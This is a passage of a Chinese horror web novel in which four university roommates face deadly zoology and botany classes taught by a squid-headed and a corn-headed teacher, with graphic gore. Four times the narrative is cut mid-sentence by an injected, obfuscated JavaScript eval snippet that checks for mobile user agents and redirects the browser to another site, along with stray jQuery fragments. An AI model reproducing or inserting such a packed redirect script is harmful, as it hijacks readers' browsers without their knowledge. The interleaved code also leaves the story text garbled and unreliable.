听见舒怀瑾的话,江贮月忙从手机备忘录中翻出来她截的图:“今天的植物学和动物学课程着装要求是粉上衣,黑裤子,实验课则只要求了穿实验服。” 另外三人大眼瞪小眼——她们三人没一人有粉色上衣。 “没事,我早有预料。”江贮月打了个响指,从衣柜中掏出来四件粉得各有特色的上衣,“穿我的。” 三人喜上眉梢:进了这么多副本差点忘了,江贮月最喜欢粉色,拿出粉上衣对她而言简直是像呼吸一般简单。别说四件了,就是十件她也不在话下。 虽然有些不合身,但有得穿总比没得穿好。四人收拾整齐,吃了背包中放的早餐,便准备出发。 舒怀瑾望向孙嘉,后者正抓了一把大米黑豆就往嘴里塞,身上是一件洗得发白的浅粉色汗衫。 见此,舒怀瑾心下有些异样,不禁多留了几个心眼。她伸手在衣柜中一划,将所有衣服都一股脑儿收进了背包,再度转向孙嘉。 “一起走吧,亲爱的舍友。” 孙嘉加快了咀嚼的速度,齿间发出清脆的声响。她含糊地应了一声,拿起书包便准备和舒怀瑾等人一同出门。 …… 室外犹如被雾霾笼罩,一片阴沉。目之所及的所有东西都仿佛被覆上了一层灰尘,就连绿化带都全然一片枯色。 404寝室四人外加一位半人半鬼,此时正分外艰辛地在人满为患的道路上缓慢挪动。 说真的,舒怀瑾还从没在学校里见过这么多人。 哪怕是大一刚入学时,一下课就往教室外奔,她也没像这样寸步难行过。 天不晓得,但地一定晓得,她的脚已经被附近的人踩了至少十下了。 “所以学校里为什么突然出现了这么多游客啊?”程映雪被人挤得已经是大汗淋漓。她感觉自己就像一团手打牛丸一样,谁见了她都要撞上两下。 “习惯就好,最近到了春天,花都开了,游客自然就多起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593666|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”孙嘉作为原住民,早已是见怪不怪,面上带着淡淡的死意。 程映雪讶异:“啊?这么多人一起涌入学校,难道校方都不管管的吗?这可是上学的地方啊。” 她话音未落,三米开外的一个游客打着电话嚷嚷的声音便朝她袭来:“……不知道这学校里边怎么搞的,居然有这么多学生,挤死了!” 程映雪:肃然起敬(白眼版)。 孙嘉:微笑.jpg。 幸好她们出门出得早,所以即使是在路上耗费了大量时间,她们最终也及时赶到了教室。 教室里此时已有不少同学落座,交头接耳者与紧张兮兮者皆有,但四人难以辨认出他们到底是不是现实世界中的同学。为免横生枝节,哪怕是熟悉的面孔,她们也不敢多看一眼。 但奇怪的是,除了身着粉色衣服的人以外,竟然还有人穿着紫色上衣。 是实在没有粉色衣服了吗? 四人抱着警惕之心坐在一块儿。舒怀瑾趁着无事,在背包中将紫色的衣服都挑了出来。 八点整一到,众人的手机上立刻收到了一条新消息。 【上课时间到!请同学们打开摄像头,在一分钟以内拍一张自己和教室的合影,以作为签到凭证。】 【——发自动物学老师】 这么刁钻的签到方式吗? 教室内稀稀拉拉响起了几声埋怨声,更多同学则是在火速自拍,生怕这一分钟悄然溜走。 舒怀瑾等人也立刻按照要求打开了相机。 相机中的世界依旧是洁白无瑕,但她们身上衣服的颜色却发生了改变。 她们身上的衣服,在屏幕中分明是白色。 身旁身着粉衣又按了快门的同学就在此时发出一声惨叫,浑身立即被熊熊烈火吞噬。 一些紫衣同学见此畅快地尖笑了起来。 四人惊愕之余,从未如此庆幸自己手慢。 坐在她们前排的孙嘉嗤笑一声。虽然不能吃了她们填填肚子,但她同样乐于见到四人死于非命。她将粉色的外衫脱下,露出里面紫色的短袖,自拍过后消失在一片白光中。 舒怀瑾此时才意识到她感到的异样究竟来自什么。 浴室里的红色液体,今日凌晨孙嘉的红衣,在手机中无一例外都是白色。 江贮月只感觉心中酸涩:“手机里的粉色才是真正要求的粉色……完了……” “啊?”话还没说完,她有些呆愣地看向被舒怀瑾塞到手中的紫色外套。 哪来的衣服? “愣着干什么?快穿呀!” 被正在着急忙慌套衣服的舒怀瑾一喊,江贮月才反应过来,赶忙套上外套。 四人抢在最后一秒成功拍照。白光闪过,世界霎时变了模样。 “欢迎来到动物学课堂。现在,开始上课。” 44. 表里世界7 灰扑扑的教室摇身一变,宽敞而明亮。讲台上,一名微微发福的老教师扶了扶黑框眼镜,又理了理格子polo衬衫,末了清了两声嗓子,腰间的钥匙串叮当作响。 “咳咳。” 假如这位老教师的脖子上接的不是一只乌贼的头,伸出的手也不是乌贼触手的话,或许他看起来会更资深一些。 “上课铃响了哈,那我们就开始上课了。” 他的声音似乎被裹在深海的气泡中一般,有些朦胧。 “先自我介绍一下。我的名字——看黑板,至于我的履历,你们自己上学校官网看就行了。” “接下来我讲一下这节课分数占比。” 老教师又重重地咳了几下,舒怀瑾等人纷纷竖起耳朵——这可是老师的要求,或许通关条件就在其中。 “考勤占5%,积极回答问题占5%,随堂小测占10%,课程论文占20%,期末考试占60%。” “多的我就不说了,我们先开始讲课。” 老教师拍拍触手,课室的前门便打开了。一名学生垂着头从外面进来,裸露的皮肤上是狰狞的烧伤,破烂的上衣依稀可辨认出粉色。 他乖顺地躺在了洁白的讲台之上,皮下渗出的液体缓缓浸润木质的台面。 “……他真的还活着吗?”程映雪才看了一眼他的惨状,便不忍地别过头,在脑海中小声说道。 讲台上的老教师似乎并不在乎这一点,触手从口袋中卷出一枚锃亮的解剖刀,精准朝台上人的腹中线划去。 从下腹至锁骨,那名学生的胸腔与腹腔在令人牙酸的剪刀声中被完全破开。黏膜粘连着肌肉与内脏分离,偶尔带出几根晶莹的液丝。他的面部忽然皱在一起,随后一颗犹自跳动的心脏从他的胸膛中被触手挑了起来。 “我靠!”台下一名紫衣男生见此情景惊呼一声,随后发觉不妥立即捂住了嘴。 但他的声音已然引起了台上教师的注意。教师另用一条触手扶正眼镜框,硕大的眼珠一动不动地看着这名坐在第三排的男生。 “这位同学很积极哈,自告奋勇回答第一个问题。” 灰白的触手伸长至紫衣男生面前,一把将其卷到讲台之上,随之而来的是一股腥臭的冷风。 “你来指一下,哪一条是心小静脉?” 那名男生顿时顾不得浓烈得令人干呕的臭味,禁不住冷汗直流——他只不过学过动物解剖罢了,对于人体解剖,他是一窍不通。 “答不出来吗?” 乌贼教师的声音陡然低沉,触手高高扬起。那名男生一激灵,随手指了一条看起来像静脉的血管。 紧绷的触手霎时舒缓了下来,随后缓缓垂下。 正当那名男生以为自己逃过一劫时,却忽然见乌贼教师的口球大张,其中的颚片不住抖动。 “你上节课没有好好听吗?叫你指心小静脉,你怎么给我指了心大静脉?” “你叫什么?我要把你名字记下来!” 那名男生小声道:“赵……赵宇军……” 乌贼的触手从讲台上卷出一个花名册,缠着笔“刷刷刷”地就在本子上记下了什么。 随后,坐在第六排的一名男生头顶上突然弹出一个发红光的弹窗。 【来自乌贼教授的鄙视】 【Oops!你在课上没有成功回答出老师的问题,被老师划分为好逸恶劳的坏学生了!请加把劲努力回答问题,争取让老师对你改观吧!】 【负面效果:精神值在本节课剩余的时间中以3点/小时的速度下降。】 邓溪明在意识空间咂咂嘴:“哦呦,冒名顶替。” 真正的赵宇军同学登时站起来大吼一声:“唐杰!你报我名字干什么!” 紫衣男生唐杰心虚地低下了头,但并不做声,只是一边后撤,一边拿余光看着乌贼教师。 乌贼教师听见这句话,居然一点反应也没有。 他登时胆大了起来,梗着脖子向赵宇军比了个国际通用侮辱手势。 赵宇军正欲开口,乌贼老师含糊的声音再次传来。 “扰乱课堂,两个人各自扣两分平时分。” 这下两人都老实了,惨白着脸坐回原位,安静得像两只鹌鹑。 但乌贼教师却没有继续向下讲。两名学生落座的那一刹那,他的触手如海浪般柔软而迅猛地朝他们拍去,在触及他们的臂膀时紧紧缠绕而上。 仿佛从深海中传来的声音沉沉地回荡在教室中:“我们要怎样进行这美妙的扣分仪式呢?” 两人根本来不及反应。只听见臂膀上传来“咕噜”的一阵响,剧痛蚀骨般袭来,他们随即惨叫出声。 触手餍足地从他们身上退下。二人原本完整的肩膀上,此时硬生生多出了两个拳头大的血洞,四周是因强酸腐蚀而生的众多血泡。 惨叫仍在持续,学生们皆惊惧万分,三缄其口生怕遭受同样下场。 见此情景,舒怀瑾不禁震悚:两分平时分等于两块肉?那最终成绩难道对应的就是身体的完整程度? 天杀的,这哪里是大学?这是缅/北吧! 她看见乌贼教师的嘴角无比畅快地向上扬起,随后其背后的黑板上浮现出一行文字。 【里世界守则】 一、尽情地主动回答问题吧!老师总是偏爱积极的学生的,他们的眼球将跟随着可爱的孩子们,直至世界的尽头。 这条守则明显和以往的规则大不相同。先不说这诡异的形容词,就单单根据方才情况来看,回答错误的情况同样险峻。 积极回答问题才能加平时分,但无论答对还是答错,伸头一刀,缩头也是一刀。 舒怀瑾四人交换眼神,谨慎决定先按兵不动。 毕竟此时才第一节课,回答问题什么的,暂且可以搁置不提。 只见乌贼教师心情愉悦地收回触手,一面继续解剖,一面口中含糊地快速嘟囔着,似乎是在讲述各类器官的结构与功能。 讲到兴起时,他会稍微扬起声调,挥舞着触手抛出一个问题。 很可惜,他讲的实在是太快、太小声了,以至于鲜少有人能听清他的问题。 见屡次提问下没有人主动回答问题,他又有些恼了,拿出花名册就开始随机点名。 寂静的教室内,舒怀瑾心中“咯噔”一下,手心中渗出细密的汗珠。 不妙,就凭她那可怜的幸运值,她被第一个点起来的概率几乎是百分百。 她将求助的目光投向同样紧张的舍友们,焦灼地等待着自己的名字从乌贼老师的口中黏糊糊地吐出,脑中飞速搜索着可能的求生方案。 然而一个令她意想不到的名字响了起来。 “方淮。” 舒怀瑾第一反应:大喜,不是自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593667|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。第二反应:稍等,这名字有点耳熟。 “老师您好,可以请您再重复一下问题吗?” 熟悉的声音响起,四人齐齐朝着声源处转头。 圆脸、白皮、小酒窝——她是上个丧尸副本才见过的、带她们加入图书馆安全区的那名女生。 她怎么会在这个副本? 程映雪皱眉。如果没记错的话,在上个副本中,方淮和作为副本原住民的主席之间的关系相当熟络。她还以为她同样是副本中的NPC。 现在看来,她似乎也是被卷入问卷的学生之一? 关于方淮,四人心中其实是万分戒备。 虽然直接做出杀人行径的是那名主席,但知情的方淮同样是间接杀人的那把刀。更何况,她看起来和主席关系不错,或许会对她们揭穿主席行径的行为怀恨在心。 方淮感知到她们的视线,微微偏头朝四人看来,圆眼中依旧是无害的笑意。 讲台上,乌贼教师听见方淮的请求后有些不满地嚷嚷道:“上课不听讲?你们这些学生就是身在福中不知福。想当年我上学的时候……” 方淮保持着微笑聆听着乌贼老师的长篇大论,直到对方终于在五分钟后闭上了嘴。 她指了指自己的耳朵:“抱歉,老师,我天生听力不好。” 乌贼教师苍白的皮肤上,色素细胞忽然剧烈地变幻起来。 尽管如此,他还是蠕动着口球,硕大的眼珠颇没底气地翻了个白眼,没好气地将问题重复了一遍。 “人类的胃是由哪个胚层发育而来?” 方淮略加思索:“内胚层。” 乌贼教师又继续发问:“胃液的主要成分有哪些?” 方淮面不改色:“主要成分有盐酸、胃蛋白酶原、黏液和碳酸氢盐、内因子。” 霎时间几道敬仰的目光向她投来。 没达成目的的乌贼教师周身散发着漆黑的烟雾,却只好心不甘情不愿地挥了挥触手,示意她坐下。 方淮垂下眉眼,朝舒怀瑾无声地做了几个口型。 “嗨,又见面了。” 舒怀瑾浅浅点了点头。方淮目前并没有对她们表示出明显的敌意,因而尽管她心中对方淮有忌惮,但面子工程上还得过得去。 收到回应的方淮嘴角微不可查地上扬了些许。 “连着两次进入同一个副本,我们和她还挺有缘的。”江贮月收回目光,将视线重新投往讲台上的乌贼教师。 乌贼教师声音大小不改,但说话的速度明显提高了不少,隐隐约约可以听见“赶进度”等字眼。 直到下课,总的一看,才发现乌贼教师在第一天就已经讲了四章PPT,内容长达五百页。 他挪着触手往外走时,甚至还补了一句:“今天就讲这么多吧,大家下课记得勤加复习,下节课小测。” 在场的学生几乎要忘记了此时自己身在副本中,只觉得两眼一黑。 这是什么地狱级上学模式啊! 但来不及为自己的未来感到悲伤,舒怀瑾四人又即将赶往下一个上课地点。 两堂课之间的休息时间只有半小时,为防像早上那样人流量暴涨的情况发生,她们得尽快出发才行。 就在她们即将迈步离开教室之时,方淮的声音再度从背后传来。 “可以耽误你们一些时间吗?我想和你们聊一聊。” 45. 表里世界8 “不好意思,我们赶时间,下次再聊。” 时间宝贵,每耽搁一分钟,危险程度便加深一分。面子工程虽然有用,但和小命相比,孰轻孰重还是不言而喻。因而,舒怀瑾只是迟疑了瞬秒,便迅速开口回绝。 对于这个回答,方淮似乎是早有预料,立即接道:“我下一节课是植物学,在启明楼301室,和你们的目的地是一样的吧?一起走,边走边说吧。” 四人眉头一皱:方淮怎么知道她们下一节课的具体信息的? 她们不再耽搁,抬脚便走。只是出教室门迟了一小会儿,楼道里就已经人满为患。四人才刚出门,程映雪就被迎面走来的学生撞了个满怀。趁着程映雪示意没事的功夫,方淮又如背后灵一般从舒怀瑾身后贴了上来,侧身紧紧挨着四人一齐走。 “我知道这个世界的关键信息,你们难道不想无伤通关吗?” 方淮的话让四人心中一动。 虽然她们已经有了全自动医务室,但无伤通关对任何在副本中摸爬滚打的人来说都是一个巨大的诱饵。 然而无事献殷勤,非奸即盗。舒怀瑾脚步不停,眼珠斜睨着笑容可掬的方淮。 “……你想让我们干什么?” 方淮的手冷不丁搭上了舒怀瑾的肩膀:“我喜欢和聪明的孩子讲话。” “这个副本里有我需要的东西,你们把它带给我,我把副本信息给你们。” 舒怀瑾冷冷出声:“先把副本信息给我们一半看看诚意。” 光嘴上说说,谁知道方淮是不是打着空手套白狼的如意算盘呢? 方淮:“……当然有时候聪明孩子也不太讨喜。” 四人默默远离了状如狼外婆的方淮。 见她们脚下更是加快速度,方淮才有些无可奈何,追上道:“哎哎哎这不是看你们上个副本里挺有能力的吗……我好心好意办亏本买卖,你们还不乐意了。行吧!” “你们走慢点,多注意着点周围。想要在表世界中存活其实很简单,只需要乖乖待在宿舍,不轻易外出就行。但学生总要上课的,在里世界中这一方法就行不通了。” “里世界,其实是一个迷宫。” 四人脚步稍缓。方淮顿了顿,斟酌着开口。 “通关条件是完成课堂作业,获得老师的嘉奖。但实际上,课程是无休止的。同样的,作业也是无休止的。真正想要通关,必须得找到迷宫眼,从中获得毕业证书并成功完整参加毕业典礼。” 舒怀瑾:“迷宫眼在哪?” 方淮狡黠地眯起眼睛:“那就要你们自己找了。” “每天都是满课,摆明了不想让我们花时间去找迷宫眼嘛……”江贮月嘟囔道。 舒怀瑾只是挑了挑眉:“你不知道迷宫眼的具体地点?” “这当然不可能知道。我只知道它会出现在哪块区域罢了。”方淮摇头,“操场东南角、第七教学楼顶楼和文印中心,这三块地方都曾经出现过迷宫眼。 舒怀瑾:“怎么证明你说的是真的?” “当代曹操啊,疑心这么重……诶你们别走,我给你们看证据。” 方淮手心一翻,一张卡片就出现在了她的手中,于白光一闪后变为一本古朴的书。 【工具书】 一本可以为任何问题提供解决办法的工具书~充能型道具,每五天可增加一次使用机会,同时只能储存三次使用机会。 备注:可以保存搜索记录以便后续查看哦~ 她葱白的手指在发黄发皱的书页间翻动,随后将书递至四人面前——书上的内容与她方才所说信息基本一致。 “怎么样?现在该相信了吧?我们的合作百分百是双赢,不要犹豫了。” 方淮将书抽回,好整以暇看向四人。 舒怀瑾回望,眼中看不出情绪:“你的具体要求是什么,拿到东西后要用来做什么?” 她们此时已经走到了启明楼底下。四周人流攒动,无数道目光在她们身上流连。方淮似乎有些顾虑,压低了声音凑上前来。 “我需要你们在迷宫眼帮我找回我丢失的一段记忆。” “这种东西怎么可能让别人帮你找回来?”江贮月诧异道。 “你们带上这个。”方淮将一张卡片塞入舒怀瑾的手中,“我能感知到我的记忆被封在一个灰色的容器里。这张卡片里的道具可以为你们指明容器的方向。” 卡片上是一只金色的蝴蝶图案,正栩栩如生地扇动着翅膀,鳞光闪烁。 “既然迷宫眼是通关关键,反正你自己也要去走一遭的,为什么需要我们帮你?”舒怀瑾暗自发动技能,状似不经意间发问。 “当然是因为……”被技能摄住心神的方淮下意识就要将原因全盘托出,却在下一秒硬生生止住了话语,圆眼中似有茫然,“……怎么都盯着我看?是同意合作了吗?” 气氛一下变得滞然。程映雪等三人只是觉得方淮有些前言不搭后语,而舒怀瑾却是瞳孔一缩。 方淮破除了她的技能效果。但看方淮的反应,她自己似乎并不知道方才发生了什么。她是真不知道,还是装的? 见舍友们的目光投向自己,她来不及细想,只能在意识空间中简单将方才发生的事情解释了一下,以询问舍友们的意见。 “这事确实古怪。不过我们还是先答应她,反正我们自己本来也要去迷宫眼的。”程映雪略加思索后开口。 另两人有些犹豫,但最终也表示赞同。 舒怀瑾了然,颔首对方淮道:“好。” 方淮霎时间喜上眉梢:“事不宜迟,你们立刻开始行动吧。” “天天都是满课啊……至少等周末吧。”邓溪明幽幽开口。 今天没签到成功的结果大家也是有目共睹。这种情况下还敢逃课,岂不是嫌命太长了? “都是大学生了,这点道理都还不懂吗?”方淮仰倒,满脸恨铁不成钢,“签了到之后逃课不就好了?再不济你们留两个人下来帮忙回答问题,另两个人去找迷宫眼不就行了?” “你说得对,但第一周是老师点名最勤快的一周。”江贮月扶额,“我们想活着谢谢。” 她语毕转头,却见一直紧紧跟着她们一起走的方淮此时落后于她们半个身位,面露难色。 “嗯……或许我该提醒一下你们,现在距离上课时间还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593668|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十五分钟,但就在刚刚,你们踏入了迷宫里的陷阱。” 四人闻言低头一看,只见她们脚下逐渐浮现出暗银色的纹路,随后周遭喧嚣逐渐如被水膜包裹般朦胧地消退。 身侧发生细小的扭曲,她们只能看见方淮徒劳地张口,从她的口型中拼凑出支离破碎的话语。 “记得……找……否则……合作终止……好运……我……溜啦……” 四人头上划过几条黑线:得,这下她们真成雇佣兵了,还是被雇主抛弃的那种。 待万籁俱寂之时,四周已经全然变了模样,小山坡上一片绿葱葱的生机盎然。随着细微的破裂声响起,虫鸣、蛙叫、鸟语等一齐涌入四人耳中。 “大事件大事件!晚会上有一位神秘的姑娘在午夜十二点钟逃走,王子正拿着她落下的水晶鞋全国寻找这位姑娘!” 一只乌鸦大叫着飞过四人头顶,落下一片鸦青的羽毛。 “乌鸦这话还真挺字正腔圆的。”舒怀瑾伸手接过那片羽毛,紫泛绿的羽缘在阳光下投射出细碎的光影,“听起来,这里是灰姑娘的童话故事世界?” “不知道这里和里世界的时间流速是否相同,我们还是尽快寻找出去的方法吧。”程映雪蹲下来,从地上抓了一把叶子撒下,见叶子一如往常般飘落,“刚刚方淮说这是个陷阱,或许它的逃离条件也会通过规则发布?” 邓溪明随着程映雪蹲下,却被鸦羽阴影吸引了目光。 “你们看,这羽毛的阴影间隙像不像有字?” 三人围上来,只见地上隐隐约约现出歪歪扭扭的几个小字。 【通关条件:找回灰姑娘丢失的水晶鞋】 “刚才乌鸦不是说王子拿着水晶鞋找人吗?”江贮月起身拍拍手,从山坡上往下远眺。 不远处的城镇里人来人往,看起来是个消息灵通的好去处。 “走吧!出发去劫鞋!” …… 里世界十二分钟后。 累得如同四只暮年病犬的舒怀瑾一行人突然出现在里世界踏入陷阱时的原地,个顶个的精神恍惚、头脑发晕,精神值和生命值均下降到危险边缘。 匆忙掏出金银花瓣和红色浆果服用后,江贮月才稍微恢复了些气力,大骂出声:“哪个变态想出来的设定?灰姑娘的水晶鞋居然是水晶拖鞋,王子还喜欢吃玉足?我呸!” 天知道她们面对长了五十只眼睛的王子时闪避得有多吃力! “别骂了,还有五分钟就上课了,我们还要避开陷阱爬两层楼找教室呢……”程映雪面无血色,捂着仍有些青紫的胳膊劝道。 四人咬咬牙,只能继续挺下去,一边观察别人走过的路线是否有异样,一边互相搀扶着往前挪。 时间越来越紧迫,秒针如断头台的闸刀一般悬在她们顶上转过一轮又一轮。百忙之中掏出手机查看信息,又发现植物学老师设置的签到方式偏偏是定位签到,而尚未落座的四人无法提前签到。 刺耳的上课铃打响片刻后,她们才终于抵达植物学课室。从后门溜进去的那一刹那,一道粘腻的目光就贴上了四人的脊梁。 “才进来的四位同学,你们迟到了。” 46. 表里世界9 被叫住的四人赶忙拿出手机,先眼疾手快地签了到。好在植物学老师设置的签到时间为五分钟,因而她们勉强也算是准时出勤。 “考勤成功”的标识一出现在手机屏幕上,舒怀瑾才抒了一口气,扫了一眼班级内齐刷刷望向自己一行人的大致面孔后,转头看向由于被无视而稍显愠色的玉米头植物学老师。 “老师您好,非常抱歉我们稍微迟了一些。但我们是因为路上帮助了一名晕倒的同学去校医室才耽搁了,班里的方淮同学也目睹了当时的情景,她可以为我们作证。” 舒怀瑾抬手一指,正嗑瓜子看热闹的方淮就这样笑容凝固着成为了下一个目光聚焦点。 “呃……她说的没错。”方淮一把扔掉手中的瓜子壳,调整为标志性的笑容,点头,“当时情况很危急,这几位同学见义勇为,稍微晚到一些也是情有可原。” 果然,有着合作这一层关系在,方淮还是会暂且站在她们这一边的。 植物学老师虽然有些不满,但听了这些话的确也没法再怎么指摘舒怀瑾四人,只好把玉米须往后一甩,慢吞吞哼了一声。 “你们四个赶快找位置坐好,下次不允许迟到了。” 四人连连称是,三步并两步找了位坐下。不过由于她们此番来迟,四人并没有找到排在一起的座位,只好四散坐开。 台上的玉米老师讲话慢慢悠悠的,才讲了不到三十分钟,舒怀瑾却感觉自己似乎心情郁闷更胜在陷阱里。 她调开面板一看,精神值后面竟附加了一条红色的说明。 【正在遭受来自玉米老师的精神攻击,目前精神值降低速度为1点/10分钟。】 好小众的精神值降低速度啊。 两节课90分钟,整整9点精神值就要葬送在玉米老师这儿了。要知道精神值总共也才20点,而她们刚刚在陷阱中战斗后,即使吃了浆果,最终也还是损失了3~4点精神值。 精神值跌破10点的后果,舒怀瑾已经在小组作业副本里见过了。再这样下去,这一班的人估计也要团灭了。 她将发现告知了舍友,三人均是大吃一惊。 江贮月满面愁容地捂住了耳朵:“不是,这是必修课啊,逃也逃不了……等等,我的负面效果好像消失了!” 她放开手,玉米老师的话语涌进耳朵的那一刹那,负面效果又重新显示在了精神值后。 捂耳朵,没有负面效果;不捂耳朵,有负面效果。如此反复,江贮月终于眼皮一翻,悲愤出声。 “是老师讲课的声音在影响我们的精神值!” 玉米投手!攻击物是玉米投手! 来不及喊出“傻孩子们,快跑啊”了,舒怀瑾眼见着前排几位同学已经摇摇晃晃地站了起来,以一种诡异扭曲的姿势慢慢朝教室门口走去。 玉米老师对这种现象似乎是熟视无睹,眼珠子都没有转动一下,专心沉浸在他的授课天地里。不过一会儿,窗外就倏忽间闪过几道身影,随后是重物坠地的震荡声。 楼下传来几声短暂的尖叫,有人在楼下大喊。 “跳楼了!” 精神值跌破10点的同学……都跳楼了? 学生们顿时毛骨悚然,几个胆大的当下站起来就往门外跑。谁知才跑两步,玉米老师一挥手,几人都如石雕般定在了原地,随后四肢僵硬地回到了座位,口鼻流血。 玉米老师摇了摇头:“说了多少次,上课不要随便乱跑。” 这下四人是不敢轻举妄动了,坐在位置上等待捱过这最后的十分钟。 然而,又过了数分钟后,几道混乱的脚步声又由远及近地来到了教室门外。 跳楼的几位学生方才推门离开时并没有把门带上,因而此时室外的几人也轻而易举地进入了教室。 淋漓的碎肉匀着裸露破碎的脑盛在大开的头颅中,胸骨凹陷,手脚弯折,每个脚印都留下殷红的血痕。 走进教室的,是已经跳楼了的学生。 他们一个接一个,拖着几乎成一摊稀泥的身体,回到了原位上。 其中一名学生见到身旁落座的碎尸时,眼眶一红,惊惧之下直接呜咽出声:“小真……你怎么了?” 被唤作小真的血人有些不解地歪了歪头,原本只剩一丝血皮的脖颈直接就此彻底断裂开来。她捧着掉在自己腿上的头颅,缺了半边的双唇一张一合。 “我只是死了,我又没退学。” 寂静的教室里只有这句话不断回响。 死了都要上学,很合理。 鲜少有人注意的角落里,方淮的唇角微微勾起。 程映雪使劲儿掐自己人中:“这个副本为什么乱七八糟的,一天天的都是什么事儿啊?连好好上课都做不到。” 邓溪明默默将目光收回:“数不清的杂事……这不就是咱们上学日常吗?” 好像是哦。 就在此时,久违的、悦耳的下课铃终于响起,玉米老师也终于宣布课间休息。舒怀瑾四人装作去上厕所,实则悄悄拎着包就溜出了教室。 终于来到了教学楼外,四人感觉空气都变得无比新鲜,深吸一口气后就开始为下一步做打算。 舒怀瑾:“我们的浆果只有两颗了,下节课肯定是听不了了,干脆直接去找迷宫眼吧。” 程映雪点头:“可以,先从操场东南角开始找?” 江贮月和邓溪明均同意了这个提议。毕竟现在才上午十一点左右,距离下午实验课开始还有三小时左右的时间,还算得上充裕。 …… 上午一般没有体育课排课,因此十一点多的操场上静悄悄的,只有烈日当头与树影摇曳,热浪与塑胶跑道的味道一并袭来。 东南角看起来空空荡荡,只有操场外围栏的几树金银花开得茂盛,灿灿地落了些碎银,盛在阳光里。 舒怀瑾将方淮给的蝴蝶从卡牌中放出来,金色的精灵立即翩跹着向上飞舞,撒下闪烁的金粉。 那金粉落至舒怀瑾前额的瞬间,絮语仿佛又重新现身于她的脑海中。不同于先前在卫生间时感受到的窒息,这次的絮语是两道不同的女声,嗓音轻柔而坚定。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593669|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“从今往后,我要叫忍冬。” “我永远都是你的后盾。” 混沌之间,程映雪的声音再度传来:“怀瑾?蝴蝶往另一边飞了,我们快追上吧!” 舒怀瑾定神,才发现方才自己全然陷入了神游的状态之中,匆忙应声,跟上三人的脚步。 一而再,再而三地听见这个名字——忍冬,到底是谁? 那只金色的蝴蝶朝着远离操场的方向飞去,四人在后面边探路边小心翼翼往前挪。好在这只蝴蝶飞得并不快,因而四人勉强还能跟上它的身影。 蝴蝶一路来到了第七教学楼,沿着狭长的楼道一路向上,停在了顶楼天台的防火门前,盘旋不前。 江贮月会意,将天台的门打开。才开一条缝,蝴蝶便侧身飞了进去。 四人追上前,却见蝴蝶停在空地上,又开始盘旋。舒怀瑾凭着方才的经历凑上前去,指尖捻了一些鳞粉往眉心抹去。 幻觉再度袭来。这次她看见了一个熟悉的背影从天台上一跃而下,随后是砰然两声几近重叠的巨响,另一道身影从天台防火门外冲向了护栏边。 冲上天台的身影半个身子探出护栏,双手无助而绝望地伸长向地面,祈盼着再近一些,抚摸枕在冰冷地面上如蝴蝶翅膀般充满裂痕的脸庞。她瘦削的肩膀因恐惧与悲伤而不住地颤栗,在天台上猎猎的风中像一张被钉在原地的陈旧旗帜,无处可逃。 画面定格,那道身影逐渐消散在金色的鳞粉中。 舒怀瑾这回一睁眼,就看见三名舍友团团围在自己身边,活像剧版《西游记》里那张“你醒啦”的表情包。 事实上她们三人也的确将表情包贯彻到底了,关切的三双眼睛盯着舒怀瑾略显苍白的脸,三张嘴异口同声:“你醒啦?” 程映雪捏捏舒怀瑾的鼻尖:“你今天怎么回事?总走神。” 江贮月直接上手给舒怀瑾太阳穴涂了一通清凉油:“没休息好吗?涂点这个会不会好受一点?” 邓溪明托腮,缓缓出声:“……我怎么觉得她这是收到了我们都没收到的副本信息呢?” 不得不说,溪明真相了。 清凉油的效果实在是太好了,以至于舒怀瑾被那股直冲天灵盖的的味道熏得睁不开眼睛,双眼止不住地涌出生理性眼泪。她断断续续将前因后果说了一遍,另三人都若有所思。 江贮月眯眼:“所以你觉得那个跳楼的身影很像是方淮?” “对。而且这只蝴蝶不是本来就是方淮给我们用来找她的记忆的东西吗?”舒怀瑾望仍在空地上盘旋的金蝶道,“现在最奇怪的是,如果我刚刚看到的记忆是真的,那按理来说早已死亡的方淮为什么现在能活生生地站在我们面前?假如这些记忆是假的,那副本隐匿歪曲方淮的记忆是为了什么?” 